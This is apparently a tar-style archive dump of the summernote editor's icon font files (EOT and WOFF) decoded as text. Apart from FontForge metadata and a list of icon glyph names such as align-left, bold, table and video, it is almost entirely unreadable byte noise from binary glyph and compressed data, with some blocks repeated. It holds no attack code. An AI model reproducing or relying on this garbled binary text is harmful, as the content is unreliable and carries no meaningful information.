ED����*vv�vv�uu'����2+"&54637#�\#�#[$�����##-#��������%#3#52733#52654/3� �.�*�%�!\9vL((Nx��8(( ݑ����U�*:T`lx�!2#!"&546"&3!26=4.#%!2#!"&546"#"3!2654.#"#6&"2?664/&"64/&"$&"2?6� �%RO!$ �%l �� s (:�<% r8 8��8 868 8��8 8� �� H $��k �* � # ��6"9K 8 7D 87�g 8 8S 8 8Q����3"3#7267654&'Ӻ Y � Z� �� ��//Q9H2#".4>;2>&+".54632+"&46372+"374>;2+"&�<V'D(b b!./!b u a<VV=` `!./!# ��QU<'C& .A- � UwU .A-O ����^7537775377�II,n�I�I�&���\�\\\IH�''�H�IFmm�>�[�e[[[@ �`7'577ɉ7S�7�!�3S�3��6���75!6��PP����%)-17>54&#"#&6323#4>#573#%!5!!5!* $# %. V�.0%�}��|: (4%��UU�T�TT��� 7'72,�����W� I�+���;gV�G���7�)1I!"&5463!24.##!"'"3!265&"&462#&#!"#.6?>7>�� # �u *�*d(( �� E ,D+( ��q � ��))�$$��^%Z����#5367632#>?67654&#"�b�='8Ib #X$ &&-^^F\&FD*6* (1��SOn!74.">32O��N HfZ7) /4K(8d>. _��J) --2.8( �����/37;"/+"&="/&4?62#!"&=4>3!2#3'#3'#3�8 8{{u��*vv�uu�vv68� �8{{��� }}}}}������-159$"/&4?62546;27627#!"&=463!25##5##5#�{{8 7t��*v'u'v]{{8� �8���}}}}}}���#59=A6"/&4?'&4?62762"/#!"&=4>3!2#3'#3'#3� EE EE EE EED��*vv�uu�uu� DE EE ED EE.�� !}}}}}���� $0<$&5462# &54632#7&=4632#"'&&54632#''7'7�* �z��������̎--� �w�����������1�!2#!"&546"3!2654&# �%%�&&>%%�%%�&�i&&�&$%��&&O%����/S%!"=4;&'&54>323273#.#"3232>54'&'3#".#"#53�c(+<"', #!4>!#*F���C%(�,N. 3@ �7&2/" �&9!# 7!!!'A$ ���e�1#567>74#"'6323%#532?'&+5373#";#dm03��_}b_uabu _b~o (��0��0��0��0 ���nR %/8CNXb%#654'32'&'762?"&463275462&"'&462"&46;#"'&47"&=27#"/61,, m ��E�.�ƍ�cN?�"� v ,7 "� �� ��?Nc��ƍ.��, ,e �� C, ,d ��e�1#567>74#"'632#'#532?'&+5373#"3dm0u~__~ b^ubbu_b;" (��0��0��0��0�� ����#'+;'35#75#35#75#35#75#535335335%�$�$�����������������$�$�(�1$j$kk�j$kk�j$kk�llllll����^� &%3'3#7#&+;#53265#"#5!#EVVEARQ@�&4'"�%)#%�(BB(BB#��$$,+||����)53!532653!32>54&"2654&"&"2654V���q�F�E1 pY# $�##�>}��@�� ��������(,#".=45#"32>=4#53!5!�+N01O*$� 3$'7@��Q�~�-:6 1:(�##�.5$'92�A##�7#��SMn>32."!*I7=a3)J5.-5[eIM��_E+34* 5)!$# J�����!5!!5!#55353��}��}�LUUVU�UU�T�TT�UU�TT�TT��#\'5%2#!"&=4>3#�v �� T�<`� �� � 4&� �� $ L< � � summernotesummernoteRegularRegularFontForge 2.0 : summernote : 13-2-2018FontForge 2.0 : summernote : 13-2-2018summernotesummernoteVersion 001.000 Version 001.000 summernotesummernote��7 � !""#$%&'()*+,-./0123align-centeralign-indent align-justify align-left align-outdentalign-rightalignarrow-circle-downarrow-circle-leftarrow-circle-rightarrow-circle-up arrows-altarrows-harrows-vboldcaretchain-brokencircleclosecode col-after col-before col-removeeraserfontframeitaliclinkmagic menu-checkorderedlistpencilpictureredo row-above row-below row-removespecial-charactersquare strikethrough subscript summernotesuperscripttabletext-heighttrash underlineundo unorderedlistvideo����֧�y֧�yfont/summernote.eot000064400000021572151677331550010445 0ustar00z#�" �LP^߲�summernoteRegular Version 001.000 summernote �PFFTM�>u�"�OS/2A(]�X`cmap��0Bcvt Dtgasp��"�glyf�yk��\headn!t�6hheaG $hmtx���vloca�r�txpmaxp��8 name���ZD�postK�IP ����^_<�֧�y֧�y���nk�n.����k7� @.�LfGLf�� PfEd���4���.� $$$$�0���J��'��Q���@6����Z����������������< �4�����D***Fx����V��Dv���� .��@f�R|�.:��Dr� � � � �Z��p�� .�U.�/<��2��<��2�/<��2��<��233'3#�wffU��3�}!5!5!!!�����V�^�|KK�L�K����!!5!5!%&=46��� �� �xwM�LL�LL�`_��}!5!5!!����|KK�LL�K�}!5!5!!�8|���|LL�KK�K����!!5!5!%6'.'&47>��� �� ��wxM�LL�LL��_` �|!!5!5!/�7L}��|L�KK�KK�p75!%!!!5! /������Q��GG�H��H$����+$4/&"54&+"'&"2?6".4>2�6$6ggM:exe::exe�6��6hhIxe::exe::$����+%54&+764/&"2?64/32>".4>2��6hh6�I:exe::exe�$6gg6Vxe::exe::$����+$4/&"#";2?6".4>2�h6��6hL:exe::exe�g6$6gIxe::exe::$����+$4/&"2?;26=2?6".4>2�gg6$6M:exe::exe�hh6��6Ixe::exe::����7#7'#57'537'3��A�A��A�A�=�>��>�A�A�@~~@�A�=�=��=�d$"&=!"/&4?62!5462J��JJ$J�I $$ II $$ I���\�+32"/&46;#"&4?62[ $$ II $$ IIl��JJ$JJ���� -+52654ᙤ'32654.#32654.�::EDXf�%&�yW�%&& !%6?28@%"!&<3F�#+ & ȃ .-%)0m32"'.'&6=�01cAC����/� )7Uq&/&6767>'.'.?>'&676&2#".4>;2>&+".54632+"&46372+"3�& & p& & ?& & e& & Q<V'D(b b!./!b ua<VV=` `$/!�= = G= = �Y= = G= = �U<'C& .A- �UwU $!-����2"&4$"264�響��ʎ�ʎܨ쨨�{�Ȍ��J�u%"/"/&?'&?62762�������������������k� %57'53%7'����'�:���ܢ��"6UU7x'���p�x7UU6x���159=%"/&4?#"&=46;'&4?632#".546;2'5#75#75#m 8� �8 {{�� �}}}}}-8 8{{m��*vv�vv�uu�����159=232+"/&4?32+".54>353535�8� �8{{���~~~~~T8 7{{u��+uu�vv�uu���#37;?4?62762"/"/&4?'#"&546;2'5#75#75#�EEDDEEDD.��"}}}}} EE DE EE ED����*vv�vv�uu'����2+"&54637#�\#�#[$�����##-#��������%#3#52733#52654/3� �.�*�%�!\9vL((Nx��8(( ݑ����U�*:T`lx�!2#!"&546"&3!26=4.#%!2#!"&546"#"3!2654.#"#6&"2?664/&"64/&"$&"2?6� �%RO!$ �%l �� s (:�<% r8 8��8 868 8��8 8� �� H $��k �* � # ��6"9K 8 7D 87�g 8 8S 8 8Q����3"3#7267654&'Ӻ Y � Z� �� ��//Q9H2#".4>;2>&+".54632+"&46372+"374>;2+"&�<V'D(b b!./!b u a<VV=` `!./!# ��QU<'C& .A- � UwU .A-O ����^7537775377�II,n�I�I�&���\�\\\IH�''�H�IFmm�>�[�e[[[@ �`7'577ɉ7S�7�!�3S�3��6���75!6��PP����%)-17>54&#"#&6323#4>#573#%!5!!5!* $# %. V�.0%�}��|: (4%��UU�T�TT��� 7'72,�����W� I�+���;gV�G���7�)1I!"&5463!24.##!"'"3!265&"&462#&#!"#.6?>7>�� # �u *�*d(( �� E ,D+( ��q � ��))�$$��^%Z����#5367632#>?67654&#"�b�='8Ib #X$ &&-^^F\&FD*6* (1��SOn!74.">32O��N HfZ7) /4K(8d>. _��J) --2.8( �����/37;"/+"&="/&4?62#!"&=4>3!2#3'#3'#3�8 8{{u��*vv�uu�vv68� �8{{��� }}}}}������-159$"/&4?62546;27627#!"&=463!25##5##5#�{{8 7t��*v'u'v]{{8� �8���}}}}}}���#59=A6"/&4?'&4?62762"/#!"&=4>3!2#3'#3'#3� EE EE EE EED��*vv�uu�uu� DE EE ED EE.�� !}}}}}���� $0<$&5462# &54632#7&=4632#"'&&54632#''7'7�* �z��������̎--� �w�����������1�!2#!"&546"3!2654&# �%%�&&>%%�%%�&�i&&�&$%��&&O%����/S%!"=4;&'&54>323273#.#"3232>54'&'3#".#"#53�c(+<"', #!4>!#*F���C%(�,N. 3@ �7&2/" �&9!# 7!!!'A$ ���e�1#567>74#"'6323%#532?'&+5373#";#dm03��_}b_uabu _b~o (��0��0��0��0 ���nR %/8CNXb%#654'32'&'762?"&463275462&"'&462"&46;#"'&47"&=27#"/61,, m ��E�.�ƍ�cN?�"� v ,7 "� �� ��?Nc��ƍ.��, ,e �� C, ,d ��e�1#567>74#"'632#'#532?'&+5373#"3dm0u~__~ b^ubbu_b;" (��0��0��0��0�� ����#'+;'35#75#35#75#35#75#535335335%�$�$�����������������$�$�(�1$j$kk�j$kk�j$kk�llllll����^� &%3'3#7#&+;#53265#"#5!#EVVEARQ@�&4'"�%)#%�(BB(BB#��$$,+||����)53!532653!32>54&"2654&"&"2654V���q�F�E1 pY# $�##�>}��@�� ��������(,#".=45#"32>=4#53!5!�+N01O*$� 3$'7@��Q�~�-:6 1:(�##�.5$'92�A##�7#��SMn>32."!*I7=a3)J5.-5[eIM��_E+34* 5)!$# J�����!5!!5!#55353��}��}�LUUVU�UU�T�TT�UU�TT�TT��#\'5%2#!"&=4>3#�v �� T�<`� �� � 4&� �� $ L< � � summernotesummernoteRegularRegularFontForge 2.0 : summernote : 13-2-2018FontForge 2.0 : summernote : 13-2-2018summernotesummernoteVersion 001.000 Version 001.000 summernotesummernote��7 � !""#$%&'()*+,-./0123align-centeralign-indent align-justify align-left align-outdentalign-rightalignarrow-circle-downarrow-circle-leftarrow-circle-rightarrow-circle-up arrows-altarrows-harrows-vboldcaretchain-brokencircleclosecode col-after col-before col-removeeraserfontframeitaliclinkmagic menu-checkorderedlistpencilpictureredo row-above row-below row-removespecial-charactersquare strikethrough subscript summernotesuperscripttabletext-heighttrash underlineundo unorderedlistvideo����֧�y֧�yfont/summernote.woff000064400000036514151677331550010621 0ustar00wOFFOTTO=L n�CFF �9�iY'�a�FFTM=0�>u�OS/2LJ`A']�cmap�6B ��head�06n!thhea$ $Fhmtx<�in��maxpD5Pname��Ԝ��Zpost� ��x�c`d``�$���m�2p31����*a�Ā\�4eo x�c`d``��Ϡ����iLY@��PPP5x�c`ab`������Ø�����2H2�0001�r2���������� ���&�� ��?�x����j�0E�;!J�,�����Fv2��9S��3�%������-��\ٯt)������A�{%� < '�a+<�7�·p�G| O�P�4U:�ԑ�������/�)�w���S,U�Z�h�-<:ھilp�#�PS��LG[��3�@�Q�5аL�P���y~;%6���cx�1̻��CmuU��?�Rn�*�L��Ǵ����2L��(�'�Ɇ��6�,�1���;�E�x�c```f�`F���| ��@�G����$��P��lp�m;�x�c`f��$�#+��x��}|U��^I����zP� M �� EzU�rP���R�G@��X8�Oi �A��B���{|�o�����2;;;�;�3{Є���4-h܄#�ǎ5>Yh���DAg������WAe��Z̅�&�^1uV[��1��J�+%����VA�O5dž Մ��^M�VKΉi��"ꊦ��xRt��(1E��b��(��]��b��Y�.Ήt�%n�"Mh�Z���h��x�����Z{J������^������hK�Z��I�Zۍ�hi�<�����*x��$�R�ƍ:�e�cx� ;{Ԅ�eu�<D�Ǝ�b�C���8iԋ�f���3T��9F˟�>ކ��'&��4p�����:�q��QÒG�v���<pT�?��A ���A��ʬ��#FML��%�4j�Ac�HJ�:r؈���<rB�C�56)ylr���Əf�G8~�X�"���@b��Q/P�ǍN8t�p 0v�@1n��;n�ءÒ�;j��!�&$�8v���eB4n�hT���$O����C�ɛ�x�L�X��`Ԅ�娛84)yTyD�B{[{G{W���h30�3�Y�l�}�\m�6_[�}�-�>�>�i�!kK�e�r�'�J�Z[���ֈ�Zm���A���L۬mѶj۴ϵ���%���8�9m�����5���o�> ��+�]hǰ���*�������[c�j��X�f���4�|�����j6�G�z롢V�_�,�po�.]�~�S�'z�vK�}w<�~@�_%�JY�?c��reAӕ^+� �-I�]Y�ʙ?��i���Y�x����~&�Obj��wô�W��hY[3L�:]8U-�����i]�A�Y30��G�%:� &&�*��}��@*|^3,�u �h��C�$��pơ��ku�����1��U���<T��),�(˰�?��k�[V���_�e彋Z��.� �߅�|�~-y�#��<;������F�$�v�J�J���'}���Eț��g���·��?�X�m��g����Q�/~�h�c��"�e�O�E_O� D.<u��ûu��]Vf����K�/@�>��hj$��vE���� fm;�"����:�1G˾B�?�ͩ�$Z�g Y��z~m��@��gQ~Z'�jh��DAQH~�<�� ����/�{yų9���&�^@u�)_2�-q` �� Grf�s�*P��Q�|58�:��~*�3��a��YF�T�^P�~����[}?����ݎ���D��2^7^W�������P�=�!�MAQ�W���`R����R�N˴&��]�]�*���,1@��ڔ�L�����N�"�jGԮ�_��vL�,Z���"�%:Ԇ���s�#�V��q�����]�M'T��$��:ă5��-�dN�L�C��ɘ1>̊����� �4ŝ2Wh,bM�5"��*�Ca����W��w�.|j2MU���PU�V���a'�l���椥xR��jj�JV��w�g�WU�݈�˰�����MM�'��&�*�}y��8vr 8�F��w�)�=&9:��3fE�$iD�b��1v;�+����G%���@:��:�j~��TS[~�1�s: g�����E�=���%jFe��x��cHٝ���&7i�����%�#-G=ҒPNZ�=Ң�¿LVƬ*��4��ė��#-�F�AZds[�n��glqKQ�➀��p��U���ie�OH���sw���t5;�r�,�:��.��rN.�ʻ���y���:e�{�\�ߦ� )j�n�5��@�x�N:�{��ö�ogAy�N�1U靟��A;ʖ_ ��v�i�i�RN��"8���:o%ndsy͍�(K��$9sQ�-?�w\�Mh����-�0+���ޝ� ����swA�o�o��#�(�n���jˋ�Z���u���?��r{G�Z`Oo�gz�o[ ��M���t{z��ڰuW[1�Q�X��U:X��;���?���I� �V�,�s��N���SAb�X�~魞F^�]Z3�+�/�\f�c~c�i�3F�Δ����})�ى7~�?�z�����R�+D�ů���ӂ��I�RkЈ�0�p�1mҗ5A�o�Rtg����fyL�`�\�����r�a�b�[��29�]z���Tr5M+�,KɄ%���WFD���Կ��۱M8�[�έ<�� ���-b��}9"�v��m���_�lH;_^���aє,�+#"�CD��4���&\�X9r�˾Md�-X��Ԓ��%�tB<P��i�]���D���FD��$�$�wrw�{���=�PJY�{���;K���|d�����;�yx��e��Mԯ_Lj�DW����\��"�M����k��Nf�)�cP��e4�Yd�_E�U��W��Z�bPY�Q�j0�??CO��LB:!��D^�u@����0�"�ZV�`!/蘰-i/Vy�8�^������L�>����Y4��yYu�U]}X�[���\p�+38�.t�Y�$��M#/��t�[�@3@�AJЫ%r��*�8@�h��ߣ��ݐ8�Ø�wA�3?C���+�Xg8Ӛ�W��>�]�FyES/����Aѯ��7�!Du���f��+�v�spx���[��C�;�p�wro���&��9�W�X�8�ɱ}b�;(�ۋ��i��u�2J���ɷ��CQ�/�����V�Mnw q<ؒ��<�5t�IV]�L���죯I��p�"z�J���%�/�▤�/גV�&�+T��Cj� /����?�g�#i�u]��z�k���G�(�TW@r�jfR�o�� y7�Q�ϫ:ǔ�dž7�:Gs�D�� ��n�H��8��~��;�T�E�/d�rmB^�'���m��7�/bZ���Γ��9��x'i���dD�x����r���LV�B��,9�<{oG:x��U�8m)�Ϻ������w�^�f���{�W�i�)���z�$��}�:({�]�Z���t ��� X!ZZ� �s��| ~}B^֍�]��7�ۜ�p���%�>�/�Ca���ߧDD��G��ٓM�V��S��uRd!�>t�s܌|��"��/Şӹx��G!c�Da��3暪!H!�C��7#h*)$E� �jAՐH�?���HR��@��l��d(&�!Y� �Q�W7~��'��ϑD7Z��y���ڟ�t�G@<'�ܬqc�N��5�{\MH��l�UN���5��U�sUI-ʁ�n����ϼ6)�5�@Im*&b �=�j�y<-�όyB1C��O>��h�h�Y7в��j�O��e�b��P�K0E��9q���}|� ��x(�����h�\!�`��S1D�0b9r+D�Mh>9��$jz!�[n$��� `��{S}S�{롵�O�??ke��D�-,�i�ߑ�X]�M0��w� �蜺yY���H��K er�=F!�'�|�2D�8b��Q���;1wڅUh�x6�����\������9�mPi5���)��d�XJ�_��a ��i[��`¶��<�;~=mxc�����_��y<�L�� ~�}ҝ��y� P���mLt�u�UՌ�٩J-�}���,�"�D>简�Ҹ�Y�:!�ܕ����e���* 3%˥�g��W�P0'$:t�a�l�gzZ��4�-�| ��ݮ/�b�����'��?�!u���o�O�����E �@���"K�?������������d��7<-�M�'Նk(��+(~�S@�/m�>���;�I��6d{�W@q���7�}�.OGR�P�o��0V�����4���;�G� ��p ����H�\�ϣK������@N�"z�ۯh> ��}z�~���%�MˌÀ�F2a1�za���H�܌����G�r�>u���6j |�r����h�hI�}�6�Ϯػ{���u��ޟqf&ߣ˄z��đC���h�3��^�]��7 hT'�H1��9��jo��C��0ɋ��d�0�|]S1�����;N�糦���>�.�oA+}<{Z4��׳�<h��#i��E'{y.�����8���H&��q�#٠(�A)�=��2�z/��VO��ҜtT�@�����~y�,�:��,��+ǫ�� ��L'�T�T0�9%e�{���0�_��h�a�62m6�ɱ���u/ ���;B^L%�88�UN�פ���f�!�K6�{ <K� ��=����$[n�g��I4;>P� @��oi���;I��y��P��۷F�-�=�2P� �h�v�8��#aݾ��h��^����1��/�t������P���犪�ثU:y4H:�hC/��:��=��{�@��0�ٓ}�cyȫ�,�x�@��N�.��!�� l�J���R���J�_��n�u��FI}�T����ou��-Vz�YZC�[���!!lFs���6-����R�q��C�H�HRg �SKa�ɢ�]:�ϧ�4��]H" &E]{���|��&�sM�>H�|��� {�����k��,�G���H�`��ׅ��2a�����+9eu6=,&U�+$脗��.ۋ�h��MkA�s����/�2��=�M�_Q{C����y��� u�?�Mv�,D7�T�+��Ĩ�>��u�T0i/��ct�a� #�a�K��{�Ļ��?�K�ϒ r*27Uؼv$�M�l�![�@ƈM��&k�ԩ�B�V���+�ھ遦�_�{#��ߐ|w�G��3��2���G�япm�z=���V���qBꆫzt�����Z+6�zn_��>;;H�� 9��#QK�k: K(� M��} �|y�#t �t�ɓ�[g���V����ֆ� �l�2���먃kH���DU��µT��l�S*~� ��e�=N�P�]ik��R���t���Ϋ�c��w�@��K}��Ii؇��J�4�'���s���~N��`I�Ǩ�\AK��BK�ͥ��; �h�L�WpIn���V�R�B�c�.�m�R8djx0�݂)�ڟm*����^�t�D�N����J}:7$����=���d�������ݘ��Ӄ�pc"%Hܔ IS4��T���B��'|:]UcV�%'�(ar'LzJ)�S�-����ĝK�aK:����T� [���5l��21�M�,wc:zGL�L�ّ�����ƫyE�c�a�R��t�t>J�xs�7D|��}q3�/� i�0&����~������\��"���n����P�+�`��Yn�;�����o<W�[�q�i]y�U���_����1. ;�R�`u� �S?dn��ڐ��͈8�zHn����q��H*��W��w�@�l�u<�ŭv-���f��9�k��~�{a��8��I`��H.����8b�ܡ[�_/�|r� ���].j.2c,�=��[�9�����������g�I�'��d��&��נ� �5�Ɉ�}-�g|I���A�^�+>@�� ��`'o�B��Y\�ʽ$�����%��!���4��2-��Z��r7�� �W�G�0l&�+�,;�UOu5R�y�aN;E���Tbʽ^{� �s��o*���]"�'��P�ȫ�0oJ�W^<�i�ӌ��i���N���[+�P��\}��~y���uy��Ӊ���'�5�B�%��y�EZ4��п�:�]h���\� �T*�Tu��~��jU �F�}�n�)gb+C�j���?��#�4�y����q<��n���3�P^bDX��hw���XT<��~o6�����RZ>���a �N���bm=�.�0�z�����^�Q�zw����k�f2�E"�].�K;9�Ve�z�H%�ki��,R dS ��\COMcU����óYl2�P�N�I�� x�D�'y�<�!�V8�N�Ձ`s�c�X�����]� ����S�K�Q��}Em) �EL�Ö5n"�_X�����:�6|�,���:�cX�~���-��<�ȝg���LΪC��� ��m"�P˼^Ðu����s����ںFp����K��?N�!� �7�$���#س\�҈oz��9Ő�@���������-�&���1}�$�W픦�)sU�5y+�����T,�mRC��3�u�2.��2-��Xij��!ʣ�4�Oб�J���QB��D�:Sք�<�DI�4o�6&�Ub�R�m�;�H|�Z��T5A���ކƼR�i�:��@3sN���� ��L��(��d�N�l��W �`Ԕ�n�i[��[��j#k��r�YM�g�t��w1�u�Tɞx�� =2-�d*f��͍��t7�o�6�3���fzƬ��#��0fQn��;���-^�M�}��I���4l9ۢ���[.�}U���czF���(��.0w�%�K�r�L���{��n�"�IZ�c�ӵ�mv��h�����|�c\�nigJ�A` ��Q+`QM�w�,��?yř:�C��o%7�L��c�ϻy�����J$�V�@�.4���F$�WP����t��5�P�\^��cs��t�ݤ��L1:���#��s�>wǼX�$w�H��σ$�6��v{P��הs�l_*�w��q~�QXd1���Ϩ�qd1�Ɓm���̒_E ��_$~�н��q�H���nH�#7Q���$� ђ~�@��y�Ňv�;��Y"~��'o��h1~w;a��_Dx�"�?�E��/�(��#��ԥ��u��rS�E�_DHo���|"1�����u5�dv_e�3����dBc����=.�r����>@�]��J2 q�4L�*K&��"��8���&1j<�G���q���8��h�U}-��gցN�'Ga���u�ι�ޫhQ����ɼ4�S��Xd헔�Z�\�:�D�/x�]u(�U��t���su�����Eh�Z��P��C�Up;���47�@ڬ?�'襯@C��G�{�%�X]�FV���@:�W�F7Y��0Qke[��8�L�R����E��A*}h#���y¤���k$�y����<������D���N'{c��>==T)p� Wؒ��§8��rQk����a@͍2�r ���`5��������Ѓ�KВ�\��zr�zн���/�QSM�̹m�Gg}E�{m�9R+����UA��?��+�����)�gg��*,-�"����3���N���ԬoLK1�kGm����{��rL�N� �y�9��69����a�}�;���� ��@�͵����!q�.A�Alss2��}zCU.땕 �fJ}#��� ���Xe�<�-"�5r�H����`��b^������<d���E�oi ����E �Qa8��l:FF��H���|��X��^� g#>t��~��E>��*�v�6 ���a�j� ��VS�a�K�g�&�����T�d���XԌ��'z#��e�� Pv��:�e"���G� E{�5��ү�+������m�4Z>YI\��e9��� �r��� ŁP%� �{փ��a���.�2z�Pz�3^]d0#�]Ο��G���7.�Hpƈ}��6t��*'��'�"���Y�=�����j�q�H����/�֪;y�G�6:������EZ�w�����ח�ďE��lT}�2��I(r�Cɰ��\[+��2 )r?�\���]*�[��k�4U.QO����(�FO�y,�M���[d�0����J*����w�jLe��f�Op��� ��X��b����k���ҷ��x#�N}��ε�>�kfTG�S<�GBf�8%6�m�������6�P@/��~�@:H�#�Ѯ�#��f;!<]�D�%~a���C�q�݆ �כ��U9[:U-��x ���ԽܖBԯ��E����Б�7[��H-���C� �oJ���]Uf�2��Z��X�>�g�J�!o�����rc����NȬ�yy�����(h�3���[ɖ�Uh w�c�k�W�@�>�^��s���� 4�z������ʮ��y���J(��k+~�\Ck�K��Z3�W��?�św��^_�W�%pϟ�_PG�9��9[)�z� ��JI���ÑT�n��D�p-FZ?#���/ �g��(���m�����t��X�a�a��?����`�?_OSܷN�&+Ͼ���Ѻ8@��~OB�E/�%�m&=~��d���;x��^�}�.�`��ߍ��v�;/���Zw�P�8�lg�O(vD�܁�Ð|�Qg�Ut��!R`�l�5��8�hѣ�u�.�8��ű�Y4�o��դ����[a�}}�qއ�5��WFQs�� �o�I��,����T��M�E4��cG���6I�^=��n��� �h����"�S��� ��s����ѣӔG�v���ۭG�����)W���I��۫'�܂N��_�ҹ��w�>9#����b��{�r� �U'�v�}�I��*?ȥ�w�|p�y��.@��I�[:�J�b*_��i-=z�}�,����$}�4tc�{彛�rr�G���,#6aB�`�^�f�u�C��-�k�?�j�O�\ݛ(�Uz��E�� m��V�)�qǻ���-�/��:��}� vS� �!W�����*;�(���Sl�Jl���@m���T�v^�m��>���F�E�Z�s<�\:ަ�!�Pڅ���x픢�rB;�Q������o]"����^9�O�]��5G��.�(w��;�*�c���i�G%D��Ř��{W����q6��=�)}ŀ����nj�y��e�]��y ^9��JiJd��n����eOP"G77=�D%�>JLQ�!v[Tkk(Q��ۤ)�:.P"�2f�ҏ�P�RYd�@@"�R�!M)��RCP@�j�aLHuC���0Բr�a� jYp/+��e����T(���<nx�'72d���B� Y����V��|3L-v�{�t�v{�,��s�9 �dȂ��J�kwJ���=z�^��H/U��rP�W��[% �)���Q��"�L�pxr[0�P)~��T�O�fIWYі T��(|U�Gn)_z���ڜ�o=�y��fѦ�=Qj}𧺰�$��x��D܊�C9��cݚU%��5}�i�$�H���t��8?X�~0<l�~�W���\Q��2�|�e�w ����}��s���ۼ{87��7��N�����I�R���o��7͍)��'b��7�lKϴO熷���ٞq�ٖ���t��=�6&g9L�L o�t�~I }��]��Is��r�թƇ��ўpw���&���5ʃ)͍��XgU�Ɋx۳-=�E[��)H����3.=��+��'܆)=�)LG=���Q�H��g��gv��k=P{̐+�O�SԟM��DT�ܗ�}�<T��Ag����N*�Sn�arC�� ����`�Nr/�M(��%���68�� �|?؆��f������T�q�!��vm�����ˆR�;�����zP�{�=Rm���1�P ��1�l��tv��!�63��'��u`��V���w�~vTZ�Tj�ڂzn5���Tn���{�y��3��q�e��$ڸ=�0�?P�+�I�OX��A{�t����L��h\�&U9�S�� ��%��9LȄ^x�u�W���PV��~�(:Ɨ����Q]��h�E���h���,����M�2m@��OUX���it�q��sBn�zP��y�Q1�*O�yCI��5��%�mx`;#�xl-�9hΫ襔-�c�pͺLjB�\�X�iY˱V��j�5� w��#��c��kB�]-]��Z�f{�Z̛s9ּ�=ּ �XsD�c͞�k���7gv�{���ƺCʫ��:��b�q9VI'r�؏�(7���s�S|6T��ʼnu~�[��7 �� iD�8,�> ��ʐ��4��X�,{�q���q��|W�(g�g9�l����r�ΫP`T�JWB{ɍ頳�Axj�&6'��rq���؝����� $/�gi��%�[PΐO�ų�xC:�1�u��©\�N�t�۫P�ð\�7�)�M��* �#��>�h��G�n�5\��O+1���n|.iJ�Q��(4(���Bk���x�{�Qi�\ޯz����#�-�n���uj�S���r��n+/%*p��9B���l�A�:�"?��e�lp6��O7��=��}���*�<Uw��UQLGw�Ai������*5�Z_O����S^n8�}��V��C3���Be:��G����"��^z�S����z����\C��4�"Q�].�z2f��\}�z�@��*)?> �D/x�yqn� ��X.�O�N�@��"~׳|/6�}�&�Vڀ )�V��H� $��ֵ��[��.�s�勫�M��o� iϫ��G�k�GX� ~K��B�;����Ő�A����fo�mi9?��n��l�y���g,L�XF�x�Y��t�������̽ɗ�>� 7W~�i�/O}�5W��=f]9�� �2^����6h7HʄЈz� � ^ �/B�\@wv����^��)x��֡}��T o�C�ȋ؈oy@�?�x�(�|{*��(Qod*~�~o��W�kB�E�AE���/� �CR�q��@�����6PM~3i �?��9>��і�F���!\^���ӂ�����i��KIyE4X�}���1����pj�>�fA�,�G�%�0��i}�E,J5:1n�fOW�hs]�s��ٮ5T�����[��3Nʧg"��#sy�5۴�\^e�ʧ�g��_�J��Q%7z���.�؝��Cx�'O���%���7\7H/c]Y(��ؕ���ŗ���R�� ~���y��N�R*绅���\K��2S8#�a��ZT�q�\+�ԋ�+\�/=z~�K]���4�7�gDŽ�f C�}��I��$��g>C�*���M������h�B�O8�=�B��"�S�+�����Y�;c(~�H -J��Y��b�)��^D�/c��O�2 #ڇ"?�U��[_"���q�V�L�V�lR� 9�E�BmPP��ޢ�#\�*��<&Q ���":y�u ����;�އ��}�%��W�8��1��䰋>,�ɰ���t�iظ����K(��Q&����Dx�G��e�}���|�ɜ2�s�T@��>N�2}��l�I�B�@k��\�j⤩�o��<�r<�+�zkq�t$5�eC�ji�ԁKl�^�1\(騎�3R�8�Y}!��JX$�:ӆ*��P�a�f�2��{ngN�\�|��̀�)X$#����X� Ґ)L�FQ�U.�O'�i\�y�M��㓨��~�����E?>�����no������n��t���߉�|� ���1�P,�/��hzs�Q�/��-�Xri]��aQ�U��ܵR�r��� �1٦���Y»q�p%��凙�*Q� �E�s�I�]��&pf?n4�w�V(�m �Ϻ��ʿj�Q��Iϥč��b�G悤� �"�Zs���?;�06�b*�E�+�N&�l�C�F�� A8����x13�.K�YY<1����e��O�h���MF�_�e<*�c_�S��Ȫ�U��F�j�������:$|�B�ڗ���L��ɪ��2�)d�ʅ|pEeu�0E�6V~�l���C�Z������j2��� �c4�O�4�;w��9M�� ^�l>:l��7_Q|�ܖ���o��Vpx�1#�~E�C��t�5���0¼ 21�L�0/�Ե���M?�3n�m8#M��$B�[J��D�~�)B�f���N�r'���/�/� i�pᦡ+�a��Γ�9�Ji\W�~$�8h�L�F۪�r�K�ޢh6z��E ��);a�� �� �4 Ӈ���~�B���!ה���Lj�����I��\�}�k�Q�˜7?� �!��[ז��*x�Y�z=��������*�O=&c����Ќ=G�*p����5�����mK:�%<�t��y���D~൦2�!1g�89o*�!|��*���>ƥ�{�������f$�~��~���5u�O0��t�)b�A[,��e�&9|~����=�I���K,���L5uP;�e����[ƫ%2�@e=�V[�E ֑=2���f�@�Vv�ȄyjQ�O�4��e�;�4r�s����bDHV{.R|��S��!��?�@<90��[O�%g$L�iH\"j���TӬ��b�RD�[�'?� �&.�n��Q�܅�U�<�y"�oYjF ������p6z�~��a��W=��Be.�QW�6wBny8}�7;ó���r���(*�@��d�����mv�m���q~D�p��X9�f'L�fgz6;���Ȏ�gxjz�:���}y+s~#6n&m���U~�5��ւ��� �^�w�h�M��3�9��b���y�%�UV�\���P+���1���a���ن���Ue�|mV���0�Ϧ�3 �/%�%b»H�0v�h��]��������%��`���< �Â��Zn3��y��y�Q2�/�_]'Rʂh���4����Z�q���G�d�:�q4�fq[�o�k�Ş�E�YQ�8-�i��촍��-���2��:nv��ൔ-�r��wpDg��Qq曆7�t5m�P�k���:�(kJnm��l�`?��S��ĭ ��#G���{�>6�u�d�L�s+�n�8�~UQ+jö0�S�1���&��c8����P�0�b2o��3���i�}AGc�("�"s�Sx_o?��b��D�ǖ�2CZ��!�Z}��{(������m��|K/��4�(���l�+>� ����ά�]�zlƮKج�{�q�9 ���F�aH�F �U�0O�5IRC�]�6�x*�TӚy��Π$o:}�����o��1b7ԗ�M��AM ������r����4��I�jp/��m2l�kop�^L�oE��!-���)dq>�e`;��K��R��|�q�[�lĆ�ۋ�|e&e1���. �b�G����5~���5rZ���&���[J٩�B.t<�5���� �ן����Ø�\(��N����<�4�3�_�ZD�����<�P��Ю����KNq�IF�aK�5 ���8�y���r�khQ���͇5�b_Դ�3/��M&ԅy1���!��JCS��x+��?�U����͂4� [�է���ci�W�w(�A�Q2�u�~b'�9�[ 